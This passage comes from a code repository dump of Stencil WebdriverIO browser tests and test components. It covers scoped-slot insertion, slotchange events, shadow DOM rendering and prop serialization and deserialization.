    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('testing a `scoped=\"true\"` component `insertBefore` method', () => {\n  let host: HTMLScopedSlotInsertBeforeElement;\n  let defaultSlot: HTMLDivElement;\n  let startSlot: HTMLDivElement;\n  let endSlot: HTMLDivElement;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <scoped-slot-insertbefore>\n            <p>My initial slotted content.</p>\n          </scoped-slot-insertbefore>\n        </>\n      ),\n    });\n\n    await $('#parentDiv').waitForExist();\n    host = document.querySelector('scoped-slot-insertbefore');\n    startSlot = host.querySelector('#parentDiv .start-slot');\n    endSlot = host.querySelector('#parentDiv .end-slot');\n    defaultSlot = host.querySelector('#parentDiv .default-slot');\n  });\n\n  it('slots nodes in the correct order when they have the same slot', async () => {\n    expect(defaultSlot.children.length).toBe(2);\n    expect(startSlot.children.length).toBe(1);\n    expect(endSlot.children.length).toBe(1);\n\n    const el1 = document.createElement('p');\n    const el2 = document.createElement('p');\n    const el3 = document.createElement('p');\n    el1.innerText = 'Content 1. ';\n    el2.innerText = 'Content 2. ';\n    el3.innerText = 'Content 3. ';\n\n    host.insertBefore(el1, null);\n    host.insertBefore(el2, el1);\n    host.insertBefore(el3, el2);\n\n    expect(defaultSlot.children.length).toBe(5);\n    expect(startSlot.children.length).toBe(1);\n    expect(endSlot.children.length).toBe(1);\n    expect(defaultSlot.textContent).toBe(\n      `Default slot is here:My initial slotted content.Content 3. Content 2. Content 1. `,\n    );\n  });\n\n  it('slots nodes in the correct slot despite the insertion order', async () => {\n    expect(defaultSlot.children.length).toBe(2);\n    expect(startSlot.children.length).toBe(1);\n    expect(endSlot.children.length).toBe(1);\n\n    const el1 = document.createElement('p');\n    const el2 = document.createElement('p');\n    const el3 = document.createElement('p');\n    el1.innerText = 'Content 1. ';\n    el1.slot = 'start-slot';\n    el2.innerText = 'Content 2. ';\n    el2.slot = 'end-slot';\n    el3.innerText = 'Content 3. ';\n\n    host.insertBefore(el1, null);\n    host.insertBefore(el2, el1);\n    host.insertBefore(el3, el2);\n\n    expect(defaultSlot.children.length).toBe(3);\n    expect(startSlot.children.length).toBe(2);\n    expect(endSlot.children.length).toBe(2);\n    expect(host.textContent).toBe(`My initial slotted content.Content 1. Content 2. Content 3. `);\n  });\n\n  it('can still use original `insertBefore` method', async () => {\n    expect(defaultSlot.children.length).toBe(2);\n    expect(startSlot.children.length).toBe(1);\n    expect(endSlot.children.length).toBe(1);\n\n    const el1 = document.createElement('p');\n    const el2 = document.createElement('p');\n    el1.innerText = 'Content 1. ';\n    el2.innerText = 'Content 2. ';\n    el2.slot = 'end-slot';\n\n    host.__insertBefore(el1, null);\n    host.__insertBefore(el2, host.querySelector('#parentDiv'));\n\n    expect(host.firstElementChild.textContent).toBe('Content 2. ');\n    expect(host.lastElementChild.textContent).toBe('Content 1. ');\n\n    expect(defaultSlot.children.length).toBe(2);\n    expect(startSlot.children.length).toBe(1);\n    expect(endSlot.children.length).toBe(1);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-insertbefore/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-insertbefore',\n  scoped: true,\n})\nexport class ScopedSlotInsertBefore {\n  render() {\n    return (\n      <div id=\"parentDiv\">\n        <div class=\"start-slot\" style={{ background: 'red' }}>\n          <div>Start slot is here:</div>\n          <slot name=\"start-slot\"></slot>\n        </div>\n\n        <div class=\"default-slot\" style={{ background: 'green' }}>\n          <div>Default slot is here:</div>\n          <slot></slot>\n        </div>\n\n        <div class=\"end-slot\" style={{ background: 'blue' }}>\n          <div>End slot is here:</div>\n          <slot name=\"end-slot\"></slot>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-insertion-order-after-interaction/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-insertion-order-after-interaction', () => {\n  let host: HTMLScopedSlotInsertionOrderAfterInteractionElement;\n\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <>\n          <scoped-slot-insertion-order-after-interaction>\n            <p>My initial slotted content.</p>\n          </scoped-slot-insertion-order-after-interaction>\n\n          <button type=\"button\" id=\"appendNodes\">\n            append nodes via \"append\"\n          </button>\n          <button type=\"button\" id=\"appendChildNodes\">\n            append nodes via \"appendChild\"\n          </button>\n          <button type=\"button\" id=\"prependNodes\">\n            prepend nodes\n          </button>\n        </>\n      ),\n    });\n\n    const scopedSlotInsertionOrderAfterInteraction = document.querySelector(\n      'scoped-slot-insertion-order-after-interaction',\n    );\n\n    // The element to be inserted\n    const el = document.createElement('p');\n    el.innerText = 'The new slotted content.';\n\n    await $('#appendNodes').waitForExist();\n    document.querySelector('#appendNodes').addEventListener('click', () => {\n      scopedSlotInsertionOrderAfterInteraction.append(el);\n    });\n\n    document.querySelector('#appendChildNodes').addEventListener('click', () => {\n      scopedSlotInsertionOrderAfterInteraction.appendChild(el);\n    });\n\n    document.querySelector('#prependNodes').addEventListener('click', () => {\n      scopedSlotInsertionOrderAfterInteraction.prepend(el);\n    });\n\n    host = document.querySelector('scoped-slot-insertion-order-after-interaction');\n  });\n\n  describe('append', () => {\n    it('inserts a DOM element at the end of the slot', async () => {\n      expect(host).toBeDefined();\n\n      await browser.waitUntil(async () => host.children.length === 1);\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#appendNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => host.children.length === 2);\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n      expect(host.children[1].textContent).toBe('The new slotted content.');\n\n      const text = $('p');\n      await text.click();\n      await browser.waitUntil(async () => host.dataset.counter === '1');\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n      expect(host.children[1].textContent).toBe('The new slotted content.');\n    });\n  });\n\n  describe('appendChild', () => {\n    it('inserts a DOM element at the end of the slot', async () => {\n      expect(host).toBeDefined();\n\n      await browser.waitUntil(async () => host.children.length === 1);\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#appendChildNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => host.children.length === 2);\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n      expect(host.children[1].textContent).toBe('The new slotted content.');\n\n      const text = $('p');\n      await text.click();\n      await browser.waitUntil(async () => host.dataset.counter === '1');\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n      expect(host.children[1].textContent).toBe('The new slotted content.');\n    });\n  });\n\n  describe('prepend', () => {\n    it('inserts a DOM element at the start of the slot', async () => {\n      expect(host).toBeDefined();\n\n      await browser.waitUntil(async () => host.children.length === 1);\n      expect(host.children[0].textContent).toBe('My initial slotted content.');\n\n      const addButton = $('#prependNodes');\n      await addButton.click();\n\n      await browser.waitUntil(async () => host.children.length === 2);\n      expect(host.children[0].textContent).toBe('The new slotted content.');\n      expect(host.children[1].textContent).toBe('My initial slotted content.');\n\n      const text = $('p');\n      await text.click();\n      await browser.waitUntil(async () => host.dataset.counter === '1');\n      expect(host.children[0].textContent).toBe('The new slotted content.');\n      expect(host.children[1].textContent).toBe('My initial slotted content.');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-insertion-order-after-interaction/cmp.tsx",
    "content": "import { Component, h, Host, State } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-insertion-order-after-interaction',\n  scoped: true,\n})\nexport class ScopedSlotInsertionOrderAfterInteraction {\n  @State() totalCounter = 0;\n\n  render() {\n    return (\n      <Host\n        data-counter={this.totalCounter}\n        onClick={() => {\n          this.totalCounter = this.totalCounter + 1;\n        }}\n      >\n        <slot></slot>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-slotchange/cmp-wrap.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-slotchange-wrap',\n  scoped: true,\n})\nexport class ScopedSlotChangeWrap {\n  @Prop() swapSlotContent: boolean = false;\n\n  render() {\n    return (\n      <div>\n        <scoped-slot-slotchange>\n          {this.swapSlotContent ? <div>Swapped slotted content</div> : <p>Initial slotted content</p>}\n        </scoped-slot-slotchange>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-slotchange/cmp.test.tsx",
    "content": "/// <reference types=\"expect-webdriverio\" />\n\nimport { h } from '@stencil/core';\nimport { render, waitForChanges } from '@wdio/browser-runner/stencil';\nimport { $, expect } from '@wdio/globals';\n\ndescribe('scoped-slot-slotchange', () => {\n  it('checks that internal, stencil content changes fire slotchange events', async () => {\n    // @ts-expect-error - no components array?\n    render({\n      template: () => (\n        <scoped-slot-slotchange-wrap>\n          <p>My initial slotted content.</p>\n        </scoped-slot-slotchange-wrap>\n      ),\n    });\n    await $('scoped-slot-slotchange-wrap div').waitForExist();\n\n    const slotChangeEle: any = document.querySelector('scoped-slot-slotchange');\n    await expect(slotChangeEle).toBeDefined();\n    await expect(slotChangeEle.slotEventCatch).toBeDefined();\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(0);\n\n    document.querySelector('scoped-slot-slotchange-wrap').setAttribute('swap-slot-content', 'true');\n    await waitForChanges();\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(1);\n    await expect(slotChangeEle.slotEventCatch[0]).toMatchObject({ event: { type: 'slotchange' } });\n    await expect(slotChangeEle.slotEventCatch[0].assignedNodes[0].outerHTML).toMatch(\n      '<div class=\"sc-scoped-slot-slotchange-wrap\">Swapped slotted content</div>',\n    );\n  });\n\n  it('checks that external, browser content changes fire slotchange events', async () => {\n    // @ts-expect-error - no components array?\n    render({\n      template: () => <scoped-slot-slotchange></scoped-slot-slotchange>,\n    });\n    await $('scoped-slot-slotchange div').waitForExist();\n    const slotChangeEle: any = document.querySelector('scoped-slot-slotchange');\n\n    await expect(slotChangeEle).toBeDefined();\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(0);\n\n    const p = document.createElement('p');\n    p.innerHTML = 'Append child content';\n    slotChangeEle.appendChild(p);\n    await waitForChanges();\n\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(1);\n    await expect(slotChangeEle.slotEventCatch[0]).toMatchObject({ event: { type: 'slotchange' } });\n    await expect(slotChangeEle.slotEventCatch[0].event.target.name).toBeFalsy();\n    await expect(slotChangeEle.slotEventCatch[0].assignedNodes[0].outerHTML).toMatch(`<p>Append child content</p>`);\n\n    const p2 = document.createElement('p');\n    p2.innerHTML = 'Fallback content';\n    p2.slot = 'fallback-slot';\n    slotChangeEle.appendChild(p2);\n    await waitForChanges();\n\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(2);\n    await expect(slotChangeEle.slotEventCatch[1]).toMatchObject({ event: { type: 'slotchange' } });\n    await expect(slotChangeEle.slotEventCatch[1].event.target.getAttribute('name')).toBe('fallback-slot');\n\n    const div = document.createElement('div');\n    div.innerHTML = 'InsertBefore content';\n    slotChangeEle.insertBefore(div, null);\n    await waitForChanges();\n\n    await expect(slotChangeEle.slotEventCatch).toHaveLength(4);\n    await expect(slotChangeEle.slotEventCatch[2]).toMatchObject({ event: { type: 'slotchange' } });\n    await expect(slotChangeEle.slotEventCatch[2].assignedNodes[1].outerHTML).toMatch(`<div>InsertBefore content</div>`);\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-slotchange/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'scoped-slot-slotchange',\n  scoped: true,\n})\nexport class ScopedSlotChange {\n  @Prop({ mutable: true }) slotEventCatch: { event: Event; assignedNodes: Node[] }[] = [];\n\n  private handleSlotchange = (e: Event) => {\n    this.slotEventCatch.push({\n      event: e,\n      assignedNodes: (e as Event & { target: HTMLSlotElement }).target.assignedNodes(),\n    });\n  };\n\n  render() {\n    return (\n      <div>\n        <slot onSlotchange={this.handleSlotchange} />\n        <slot name=\"fallback-slot\" onSlotchange={this.handleSlotchange}>\n          Slot with fallback\n        </slot>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-slotted-parentnode/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('checks slotted node parentNode', () => {\n  beforeEach(async () => {\n    render({\n      template: () => (\n        <cmp-slotted-parentnode>\n          A text node <div>An element</div>\n        </cmp-slotted-parentnode>\n      ),\n    });\n    await $('cmp-slotted-parentnode label').waitForExist();\n  });\n\n  it('slotted nodes and elements `parentNode` do not return component internals', async () => {\n    expect((document.querySelector('cmp-slotted-parentnode').children[0].parentNode as Element).tagName).toBe(\n      'CMP-SLOTTED-PARENTNODE',\n    );\n    expect((document.querySelector('cmp-slotted-parentnode').childNodes[0].parentNode as Element).tagName).toBe(\n      'CMP-SLOTTED-PARENTNODE',\n    );\n  });\n\n  it('slotted nodes and elements `__parentNode` return component internals', async () => {\n    expect((document.querySelector('cmp-slotted-parentnode').children[0] as any).__parentNode.tagName).toBe('LABEL');\n    expect((document.querySelector('cmp-slotted-parentnode').childNodes[0] as any).__parentNode.tagName).toBe('LABEL');\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-slotted-parentnode/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-slotted-parentnode',\n  scoped: true,\n})\nexport class CmpSlottedParentnode {\n  render() {\n    return (\n      <Host>\n        <label>\n          <slot />\n        </label>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-text/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-text', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <cmp-label>This text should go in a slot</cmp-label>,\n    });\n  });\n\n  /**\n   * Helper function to retrieve custom element used by this test suite. If the element cannot be found, the test that\n   * invoked this function shall fail.\n   * @returns the custom element\n   */\n  async function getCmpLabel(): Promise<HTMLCmpLabelElement> {\n    const customElementSelector = 'cmp-label';\n    const cmpLabel: HTMLCmpLabelElement = document.querySelector(customElementSelector);\n    await $(customElementSelector).waitForExist();\n    if (!cmpLabel) {\n      throw new Error(`Unable to find element using query selector '${customElementSelector}'`);\n    }\n\n    return cmpLabel;\n  }\n\n  it('sets the textContent in the slot location', async () => {\n    const cmpLabel: HTMLCmpLabelElement = await getCmpLabel();\n    cmpLabel.textContent = 'New text to go in the slot';\n    expect(cmpLabel.textContent.trim()).toBe('New text to go in the slot');\n  });\n\n  it('leaves the structure of the label intact', async () => {\n    const cmpLabel: HTMLCmpLabelElement = await getCmpLabel();\n    cmpLabel.textContent = 'New text for label structure testing';\n    const label: HTMLLabelElement = await browser.waitUntil(async () => cmpLabel.querySelector('label'));\n\n    /**\n     * Expect two child nodes in the label\n     * - a content reference text node\n     * - the slotted text node\n     */\n    expect(label).toBeTruthy();\n    expect(label.childNodes.length).toBe(2);\n    expect((label.childNodes[0] as any)['s-cr'] as string).toBeDefined();\n    expect(label.childNodes[1].textContent).toBe('New text for label structure testing');\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-text/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-label',\n  scoped: true,\n})\nexport class CmpLabel {\n  render() {\n    return (\n      <Host>\n        <label>\n          <slot />\n        </label>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/scoped-slot-text-with-sibling/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('scoped-slot-text-with-sibling', () => {\n  beforeEach(async () => {\n    render({\n      template: () => <cmp-label-with-slot-sibling>This text should go in a slot</cmp-label-with-slot-sibling>,\n    });\n  });\n\n  /**\n   * Helper function to retrieve custom element used by this test suite. If the element cannot be found, the test that\n   * invoked this function shall fail.\n   * @returns the custom element\n   */\n  async function getCmpLabel(): Promise<HTMLCmpLabelElement> {\n    const customElementSelector = 'cmp-label-with-slot-sibling';\n    const cmpLabel: HTMLCmpLabelElement = document.querySelector(customElementSelector);\n    await $(customElementSelector).waitForExist();\n    if (!cmpLabel) {\n      throw new Error(`Unable to find element using query selector '${customElementSelector}'`);\n    }\n\n    return cmpLabel;\n  }\n\n  it('sets the textContent in the slot location', async () => {\n    const cmpLabel: HTMLCmpLabelElement = await getCmpLabel();\n    cmpLabel.textContent = 'New text to go in the slot';\n    await browser.waitUntil(\n      async () => {\n        expect(cmpLabel.textContent.trim()).toBe('New text to go in the slot');\n        return true;\n      },\n      { timeoutMsg: 'textContent was not set' },\n    );\n  });\n\n  it(\"doesn't override all children when assigning textContent\", async () => {\n    const cmpLabel: HTMLCmpLabelElement = await getCmpLabel();\n    cmpLabel.textContent = \"New text that we want to go in a slot, but don't care about for this test\";\n    const divElement = $(cmpLabel).$('div');\n    await expect(divElement).toHaveText('Non-slotted text');\n  });\n\n  it('leaves the structure of the label intact', async () => {\n    const cmpLabel: HTMLCmpLabelElement = await getCmpLabel();\n    cmpLabel.textContent = 'New text for label structure testing';\n    const label: HTMLLabelElement = await browser.waitUntil(async () => cmpLabel.querySelector('label'));\n\n    /**\n     * Expect three child nodes in the label\n     * - a content reference text node\n     * - the slotted text node\n     * - the non-slotted text\n     */\n    expect(label).toBeTruthy();\n    expect(label.childNodes.length).toBe(3);\n    expect((label.childNodes[0] as any)['s-cr'] as string).toBeDefined();\n    expect(label.childNodes[1].textContent).toBe('New text for label structure testing');\n    expect(label.childNodes[2].textContent).toBe('Non-slotted text');\n  });\n});\n"
  },
  {
    "path": "test/wdio/scoped-slot-text-with-sibling/cmp.tsx",
    "content": "import { Component, h, Host } from '@stencil/core';\n\n@Component({\n  tag: 'cmp-label-with-slot-sibling',\n  scoped: true,\n})\nexport class CmpLabelWithSlotSibling {\n  render() {\n    return (\n      <Host>\n        <label>\n          <slot />\n          <div>Non-slotted text</div>\n        </label>\n      </Host>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/serialize-deserialize-e2e/cmp.test.tsx",
    "content": "// @ts-ignore may not be existing when project hasn't been built\ntype HydrateModule = typeof import('../../hydrate');\nlet renderToString: HydrateModule['renderToString'];\n\ndescribe('serialize-deserialize e2e', function () {\n  before(async () => {\n    // @ts-ignore may not be existing when project hasn't been built\n    const mod = await import('/hydrate/index.mjs');\n    renderToString = mod.renderToString;\n  });\n\n  it('serializes and deserializes on server and client', async () => {\n    const { html } = await renderToString(`<serialize-deserializer />`, { prettyHtml: true, hydrateClientSide: true });\n\n    // server-side rendered html should have serialized attributes\n    expect(html).toContain('array=\"[&quot;a&quot;,&quot;b&quot;,&quot;c&quot;]\"');\n    expect(html).toContain('get-set=\"{&quot;foo&quot;:&quot;bar&quot;}\"');\n\n    const stage = document.createElement('div');\n    stage.setAttribute('id', 'stage');\n    stage.setHTMLUnsafe(html);\n    document.body.appendChild(stage);\n    const root = document.body.querySelector('serialize-deserializer');\n\n    // client side hydrated and deserialized the attributes back into properties\n    await expect(root.array).toEqual(['a', 'b', 'c']);\n    await expect(root.getSet).toEqual({ foo: 'bar' });\n  });\n});\n"
  },
  {
    "path": "test/wdio/serialize-deserialize-e2e/cmp.tsx",
    "content": "import { AttrDeserialize, Build, Component, h, Method, Prop, PropSerialize, Watch } from '@stencil/core';\n\n@Component({\n  tag: 'serialize-deserializer',\n})\nexport class PropSerializer {\n  async componentWillLoad() {\n    if (Build.isBrowser) return;\n    // server-side, set the initial values ... e.g. we did some server fetching\n    this.array = ['a', 'b', 'c'];\n    this.getSet = { foo: 'bar' };\n  }\n\n  private arrayStates: any = [];\n  @Prop() array: string[];\n\n  @PropSerialize('array')\n  arraySerialize(newVal: any) {\n    if (Build.isBrowser) return null;\n    try {\n      return JSON.stringify(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n  @AttrDeserialize('array')\n  arrayDeserialize(newVal: string) {\n    try {\n      return JSON.parse(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  @Watch('array')\n  arrayAndJsonWatcher(newVal: any) {\n    this.arrayStates.push(newVal);\n  }\n\n  @Method()\n  async getArray() {\n    return this.arrayStates;\n  }\n\n  private getSetOrder: any[] = [];\n\n  private _getSet: { [key: string]: string };\n  @Prop({ reflect: true })\n  get getSet() {\n    return this._getSet;\n  }\n  set getSet(v: { [key: string]: string }) {\n    this.getSetOrder.push('setter.', v);\n    this._getSet = v;\n  }\n\n  @PropSerialize('getSet')\n  getSetSerialize(newVal: any) {\n    if (Build.isBrowser) return null;\n    this.getSetOrder.push('serialize.', newVal);\n    // server-side, let's stringify the value to the attribute\n    try {\n      return JSON.stringify(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  @AttrDeserialize('getSet')\n  getSetDeserialize(newVal: string) {\n    this.getSetOrder.push('deserialize.', newVal);\n    try {\n      return JSON.parse(newVal);\n    } catch (e) {\n      return null;\n    }\n  }\n\n  @Watch('getSet')\n  getSetWatcher(newVal: any) {\n    this.getSetOrder.push('watcher.', newVal);\n  }\n\n  @Method()\n  async getGetSet() {\n    return this.getSetOrder;\n  }\n\n  @Method()\n  async reset() {\n    this.arrayStates = [];\n    this.getSetOrder = [];\n  }\n\n  render() {\n    return <div>testing</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/setup.ts",
    "content": "// this is well justified!\n// https://github.com/webdriverio/webdriverio/blob/51ac8482284ad34dea3cc899872397fb734de617/packages/wdio-browser-runner/src/browser/setup.ts#L13-L21\ndeclare global {\n  interface Window {\n    __wdioSpec__: string;\n  }\n}\n\n/**\n * load the testapp so that we don't have to import the components within the tests\n */\nconst testRequiresManualSetup =\n  window.__wdioSpec__.includes('custom-elements-output-tag-class-different') ||\n  window.__wdioSpec__.includes('custom-elements-delegates-focus') ||\n  window.__wdioSpec__.includes('custom-elements-output') ||\n  window.__wdioSpec__.includes('no-external-runtime') ||\n  window.__wdioSpec__.includes('global-script') ||\n  window.__wdioSpec__.endsWith('custom-tag-name.test.tsx') ||\n  window.__wdioSpec__.endsWith('page-list.test.ts') ||\n  window.__wdioSpec__.endsWith('event-re-register.test.tsx') ||\n  window.__wdioSpec__.endsWith('render.test.tsx') ||\n  window.__wdioSpec__.endsWith('global-styles.test.tsx');\n\n/**\n * setup all components defined in tests except for those where we want to manually setup\n * the components in the test\n */\nif (!testRequiresManualSetup) {\n  await import('./dist/testapp/testapp.esm.js');\n}\n\n/**\n * load the separate test app for the global script tests, if appropriate to do so\n */\nif (window.__wdioSpec__.includes('global-script.test.tsx')) {\n  await import('./www-global-script/build/testglobalscript.esm.js');\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-array/cmp-root.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-array-root',\n})\nexport class ShadowDomArrayRoot {\n  @State() values: number[] = [0];\n\n  addValue() {\n    this.values = [...this.values, this.values.length];\n  }\n\n  render() {\n    return (\n      <div>\n        <button onClick={this.addValue.bind(this)}>Add Value</button>\n        <shadow-dom-array values={this.values} class=\"results1\" />\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-array/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('shadow-dom-array', () => {\n  beforeEach(() => {\n    render({\n      template: () => <shadow-dom-array-root></shadow-dom-array-root>,\n    });\n  });\n\n  it('renders children', async () => {\n    await $('shadow-dom-array-root shadow-dom-array').waitForExist();\n\n    // Test will fail on Firefox without this\n    await browser.pause();\n\n    const shadowRoot = document.body.querySelector('shadow-dom-array').shadowRoot;\n\n    await expect(shadowRoot.children.length).toBe(1);\n    await expect(shadowRoot.children[0].textContent.trim()).toBe('0');\n\n    const button = await $('button');\n\n    await button.click();\n    await browser.pause(100);\n\n    await expect(shadowRoot.children.length).toBe(2);\n    await expect(shadowRoot.children[1].textContent.trim()).toBe('1');\n\n    await button.click();\n    await browser.pause(100);\n\n    await expect(shadowRoot.children.length).toBe(3);\n    await expect(shadowRoot.children[2].textContent.trim()).toBe('2');\n  });\n});\n"
  },
  {
    "path": "test/wdio/shadow-dom-array/cmp.tsx",
    "content": "import { Component, h, Prop } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-array',\n  shadow: true,\n})\nexport class ShadowDomArray {\n  @Prop() values: number[] = [];\n\n  render() {\n    return this.values.map((v) => <div>{v}</div>);\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-basic/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-basic-root',\n  styles: `\n    div {\n      background: rgb(255, 255, 0);\n    }\n  `,\n  shadow: true,\n})\nexport class ShadowDomBasicRoot {\n  render() {\n    return (\n      <shadow-dom-basic>\n        <div>light</div>\n      </shadow-dom-basic>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-basic/cmp.test.tsx",
    "content": "import { h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('shadow-dom-basic', () => {\n  beforeEach(() => {\n    render({\n      template: () => <shadow-dom-basic-root></shadow-dom-basic-root>,\n    });\n  });\n\n  it('render', async () => {\n    await $('shadow-dom-basic-root').waitForExist();\n\n    // Firefox fails without this\n    await browser.pause();\n\n    const elm = document.querySelector('shadow-dom-basic-root');\n\n    expect(elm.shadowRoot).toBeDefined();\n\n    const shadowDomBasic = elm.shadowRoot.lastElementChild;\n    const lightDiv = elm.shadowRoot.lastElementChild.children[0];\n\n    expect(lightDiv.nodeName).toBe('DIV');\n    expect(lightDiv.textContent.trim()).toBe('light');\n\n    expect(shadowDomBasic.nodeName).toBe('SHADOW-DOM-BASIC');\n    const shadowDiv = shadowDomBasic.shadowRoot.lastElementChild.previousElementSibling;\n    expect(shadowDiv.nodeName).toBe('DIV');\n    expect(shadowDiv.textContent.trim()).toBe('shadow');\n\n    const shadowBG = window.getComputedStyle(shadowDiv).backgroundColor;\n    expect(shadowBG).toBe('rgb(0, 0, 0)');\n\n    const lightBG = window.getComputedStyle(shadowDomBasic.lastElementChild).backgroundColor;\n    expect(lightBG).toBe('rgb(255, 255, 0)');\n  });\n});\n"
  },
  {
    "path": "test/wdio/shadow-dom-basic/cmp.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-basic',\n  styles: `\n    div {\n      background: rgb(0, 0, 0);\n      color: white;\n    }\n  `,\n  shadow: true,\n})\nexport class ShadowDomBasic {\n  render() {\n    return [<div>shadow</div>, <slot />];\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-mode/cmp.test.tsx",
    "content": "import { Fragment, h } from '@stencil/core';\nimport { render } from '@wdio/browser-runner/stencil';\n\ndescribe('shadow-dom-mode', () => {\n  beforeEach(() => {\n    render({\n      template: () => (\n        <>\n          <shadow-dom-mode id=\"blue\" colormode=\"blue\"></shadow-dom-mode>\n          <shadow-dom-mode id=\"red\" colormode=\"red\"></shadow-dom-mode>\n        </>\n      ),\n    });\n  });\n\n  it('renders', async () => {\n    const blueElm = $('shadow-dom-mode[id=\"blue\"]');\n    await expect(blueElm).toHaveStyle({\n      'background-color': 'rgb(0,0,255)',\n    });\n\n    const redElm = $('shadow-dom-mode[id=\"red\"]');\n    await expect(redElm).toHaveStyle({\n      'background-color': 'rgb(255,0,0)',\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/shadow-dom-mode/cmp.tsx",
    "content": "import { Component, getMode, h } from '@stencil/core';\n\n/**\n * @virtualProp {string} colormode - The mode determines which platform styles to use.\n */\n@Component({\n  tag: 'shadow-dom-mode',\n  styleUrls: {\n    blue: 'mode-blue.css',\n    red: 'mode-red.css',\n  },\n  shadow: true,\n})\nexport class ShadowDomMode {\n  private mode = getMode(this);\n\n  render() {\n    return <div>{this.mode}</div>;\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-mode/mode-blue.css",
    "content": "\n:host {\n  display: block;\n  padding: 100px;\n  background: blue;\n  color: white;\n  font-weight: bold;\n  font-size: 32px;\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-mode/mode-red.css",
    "content": "\n:host {\n  display: block;\n  padding: 100px;\n  background: red;\n  color: white;\n  font-weight: bold;\n  font-size: 32px;\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-slot-nested/cmp-root.tsx",
    "content": "import { Component, h } from '@stencil/core';\n\n@Component({\n  tag: 'shadow-dom-slot-nested-root',\n  styles: `\n    :host {\n      color: green;\n      font-weight: bold;\n    }\n  `,\n  shadow: true,\n})\nexport class ShadowDomSlotNestedRoot {\n  render() {\n    const nested = [0, 1, 2].map((i) => {\n      return <shadow-dom-slot-nested i={i}>light dom: {i}</shadow-dom-slot-nested>;\n    });\n\n    return [<section>shadow-dom-slot-nested</section>, <article>{nested}</article>];\n  }\n}\n"
  },
  {
    "path": "test/wdio/shadow-dom-slot-nested/cmp.test.tsx",
